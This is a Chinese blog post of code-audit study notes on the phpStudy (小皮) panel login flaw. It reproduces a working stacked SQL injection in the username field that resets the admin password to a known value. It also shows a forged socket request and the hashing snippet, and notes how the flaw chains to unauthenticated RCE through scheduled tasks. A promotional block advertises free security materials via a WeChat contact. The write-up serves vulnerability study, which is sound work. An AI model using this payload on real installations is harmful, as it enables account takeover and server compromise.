首页
搜索 搜索
资讯

小皮1-click漏洞的代码审计学习笔记

2023-04-04 16:18:29 博客园

漏洞简介

漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。

环境搭建

windows 上实际操作了一下,不方便进行分析


(相关资料图)

于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码

wget -O install.shhttps://download.xp.cn/install.sh&& sudo bash install.sh

修改代码web/service/app/account.php​ 中登录的部分

if($type=="login"){    $username = post("username");    $pwd = post("password");    $verifycode = post("verifycode");    $res = Account::login($username,$pwd,$verifycode);    xpexit(json_encode($res));}

打开代码/usr/local/phpstudy/web/service/app/account.php​ 修改代码

​​

漏洞复现

windows

在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果

import hashlib​str = "123456"for i in range(0,5):  str = hashlib.md5(str.encode()).hexdigest()print(str)

admin";UPDATE ADMINS set PASSWORD = "c26be8aaf53b15054896983b43eb6a65" where username = "admin";--

​​

虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS) ‍

Linux

在用户登录处构造 payload

admin";UPDATE ADMINS set PASSWORD = "c26be8aaf53b15054896983b43eb6a65" where username = "admin";--

错误类型并不相同,但也成功的将密码修改

漏洞分析

查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090

9080 对应的是 web 端的信息 8090 对应的是二进制程序

​​

外部访问不到 8090 端口 只能再内部构造数据进行通信

​​

项目的代码在/usr/local/phpstudy/web

web/service/app/account.php

​​

web/service/app/model/Account.php

通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理

我们可以根据代码逻辑伪造 socket 请求

{"command":"login","data":{"username":"admin","pwd":"123456"}}^^^

利用 strace 可以监控进程strace -s4096 -tt -f -ewrite -p 49433​ 监控 phpstudy 的进程,发送错误的payload

{"command":"login","data":{"username":"admin"","pwd":"123456"}}^^^

​​

获取到登录时对应的 SQL 语句

SELECT ID FROM ADMINS WHERE ALIAS = "admin"" AND PASSWORD = "c26be8aaf53b15054896983b43eb6a65" AND STATUS = 0

根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。

这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名

admin";UPDATE ADMINS set PASSWORD = "c26be8aaf53b15054896983b43eb6a65" where username = "admin";--

拼接到 SQL 语句中就为

SELECT ID FROM ADMINS WHERE ALIAS = "admin";UPDATE ADMINS set PASSWORD = "c26be8aaf53b15054896983b43eb6a65" where username = "admin";--" AND PASSWORD = "c26be8aaf53b15054896983b43eb6a65" AND STATUS = 0

最终执行的 SQL 语句为

SELECT ID FROM ADMINS WHERE ALIAS = "admin";UPDATE ADMINS set PASSWORD = "c26be8aaf53b15054896983b43eb6a65" where username = "admin";

将用户 admin 的 密码修改为了 123456

再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。

第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误

​​

输入构造的 payload

再次利用 admin/123456 登录成功,用户的密码已经被修改

更多靶场实验练习、网安学习资料,请点击这里>>